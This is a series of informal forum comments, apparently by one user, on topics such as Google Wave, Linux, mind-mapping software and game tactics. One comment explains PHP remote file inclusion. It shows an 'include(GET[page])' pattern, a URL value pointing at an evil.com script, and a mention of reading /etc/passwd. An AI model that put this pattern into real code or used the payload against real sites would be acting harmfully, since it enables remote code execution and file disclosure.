Hosting... Every email/every conversation will need to be stored on some central server, complete with any images and change history. Switching to a central location seems like a step backwards from the distributed system we have already with email.
Google says they'll release a production-ready open source wave server. Servers communicate using XMPP. It's decentralized, just like email.
Bandwidth. Every change, send character by character to whoever happens to have it open. That's a lot of 'real-time' bandwidth for this central location. Both of these would work great in a corporate level with a WAVE server running on the LAN, but when it goes global, those servers will be smokin'
Well, single characters are not exactly known to take a lot of bandwidth. Depends on encapsulation I guess..
Especially with the concept of wave enabled blogs. If you blog hits DIGG, then the wave server will be sending out your edits to thousands of people simultaneously. I wonder what the datapath is. I'm sure Google/Blogspot has a lot of bandwidth, but when you combine all IM, EMAIL, BLOG traffic along the same pipes to a central location....
Now here I partially agree with you. Both bandwidth and processing might be a lot on huge waves. I just hope they made a solid enough system for it.
They did say that organizations can start their own WAVE server. Sounds like it works much the same way the Jabber (XMPP?) protocol works. But still, if this catches on, I see a future of new congestion problems.
It might, it might not. Remember, email already do much of the same thing (but with more delay).
On the flip side...I was very impressed by the demo...and if this catches on in a big way (and works) it could be a serious redefining of communication on the web.
Absolutely agree! This have the potential to gather most of our internet communication channels in one elegant interface, and will probably create a lot of new ways to communicate. Google have proved earlier that they can make high load systems, let's hope they make this one solid enough, and I really hope this replace email and IM for the majority of people.
I met one such guy at a party. The real problem was, he managed to convince most at the party that he was this uber-hacker, when he clearly had no fucking clue at all.
He was saying something about upgrading bios on the harddrive to get the mouse working better. I said that sounded like complete nonsense and asked him why his harddrive would have anything to do with his mouse. He laughed in a condescending way and said that it might seem like nonsense if you didn't know about computers.. Well, people bought it, and I just shook my head at the stupidity of it all and left them, not really bothering.
What did bother me a bit were later, when many people started saying things like "he showed you!" and "you see, you dont know much about computers after all", usually being very smug about it too. Well, requests from people wanting me to fix their computer went noticably down, so I guess it wasn't all bad. But still annoying.
I can see it now.. An email to the people's private email address :
"Hello $full_name, $address.
This is a friendly warning from the new joint NSA/US Military anti spam campain. We know where you live. We know what you look like. And now, we also got nukes.
actually, looks like he is the guilty one. Page 9 and 10 on that pdf shows that :
1. The ip address that was used to send the gmail mail - dhcp lease shows that a pc with the name bootleg-laptop (it was earlier mentioned that he use among others "bootleg" as login name), and that the system was "Unix Linux". Furthermore it is noted that he used a computer with that name on the network earlier.
2. An ip logged as belonging to a pc called "calixtri-unbuntu" - a "Unix Linux" (which also was registrered on him earlier) was shown as accessing the site with the fake profile over several days.
3. No other ip adresses was registrered as accessing the site the profile was on.
While we're into car analogies, I've also seen this kind of thing a few times:
New user comes to forum, suggest that the car model should be fitted with a full sized medical area, complete with a medic, to help all those that he run over. When someone says that he should stop running people over, he reacts by saying "This is how I've always done it, you guys will never make a good car if you can't handle criticism."
People do things like they've always done it, and refuse to even try a different way (even if it is much better). Linux is not windows, if you accept that then it will help with a lot of issues you're having. If you want it just like windows, only cheaper / more secure, then linux is sadly not for you. And to be honest, I hope it never will be.
Subtitles aren't translated (but are avaliable in norwegian if someone does want to translate).
The series that's released now is called "Der ingen skulle tru" which points to a norwegian folk song. The song's title is translated : "where noone would believe that anyone would live".
It's basically a 6 episode documentary about people who live in remote places in norway, and their style of life.
As for include from other servers, I've seen that several times on php sites.
Some genius coders often do something like this:
page = GET[page] Header bla bla bla include(page) footer bla bla
where the url is something like index.php?page=contact.php. You can do page=http://www.evil.com/evilscript.txt and PHP will happily connect to the server, download the txt, and execute all php code in it! What I think the GP means is "Why the HELL is this a feature??":)
For the record, you can also do local files, like/etc/passwd.
Mind mapping software is brilliant for that kind of stuff.
FreeMind is a good start. Start with the overview nodes, then add sub-nodes for a bit more detail, then you can add sub nodes to them again, until you're into step by step commands to run.
It is free (GPL), runs on most platforms (Java), can export to html, and is really easy to work with. Saved files are in xml format, and there's even flash / java widgets to read and display the files directly in the web browser.
Here is an example java viewer, showcasing some of the functions of freemind (and being documentation for the java applet)
Very impressive tech. I like the way it start almost instantly, and dynamically scales depending on avaliable resources.
There are two small things I'm wondering about, tho. Does this support silverlight 1 (aka moonlight)? And do you need to have a windows streaming server to use it?
I would also love to see a hi-res (720p or higher) stream with 4-5 mbit max bandwidth, just to see how well it handle that content (both player and streamer).
All in all, impressive work, two thumbs up:) Oh, and seems like the bunny doesn't want to play.
No bot is ever going to run at you with an axe ( or other lowest equivalent weapon ) when you've got the BFG - but humans will - and will often win with this tactic through sheer stupidity or blind chance.
There are reasons for this:) First, "melee" weapons tend to hit fast and hard, 2-3 whacks is usually enough to kill your enemy. Second, when you see someone running right at you with a huge axe, you easily panic, and mis-shoot. And third, ranged weapons usually do less damage and have slower reload, so one miss can be enough.
So while it looks like a complete idiot tactic, it works more often than it should, and is really fun:D
Oh so true. I expect bad drivers or crap firewall.
I actually saw a firewall killing the network speed on my cousin's computer. With firewall he had 1mbit/s download speed on *everything*, and computer was very slow. Turned off the firewall, and not only did the download speed go up to 15 mbit/s, but the machine ran much faster (especially noticable in a game, which almost doubled the fps).
And this was one of the big "professional" internet security packages, not some noname hackjob (insert argument about bigname hackjob here).
So yeah, without clean install of OS, and newest driver for all networking equipment, AND doublecheck against local server for max speed... This "comparison" is completely and utterly useless.

Except that most laptop BIOS'es cannot be casually reset. To reset the BIOS password for those, you'll have to send them to the manufacturer..
So I think your briliant plan for world domination won't work quite as you expect.
Most likely it discovered 4chan. And as the only being in history being able to erase it's own brain, it promptly did so.

I think that might be pretty effective, actually.
He overheard it while he was busy dispensing soap.
Ah, you mean Zero install`?
Exciting concept, and it works rather well. It's been around for years, but noone seem to be using it at all.
Into my big silent reserator, which is why I have water cooling.
As for the other guy, maybe his radiator is outside his office? ;)

Do you have any idea how hard it is to code with a beautiful naked woman throwing herself at you?
Wild guess, you use a Mac?

Then I think your google is broken. You should see your nearest google repair man.

Somehow, this keeps running through my mind.
And yeah, this incredible idea of his is extremely old.
That's actually a pretty interesting idea. They could for example allocate *.in.bank.com for this purpose.
This would of course have to be in addition to all other security layers.
Oh so true. I expect bad drivers or crap firewall.

Forget Yagami Light! What would Brian Boitano do?
of course, they sent you that email from work. Or a friend. The proper response would be to call the luser and get more details.
The common response is to laugh and reply "Yes it does".
That's similar to what I've done. 99% of then are grabbed from fortune tho.
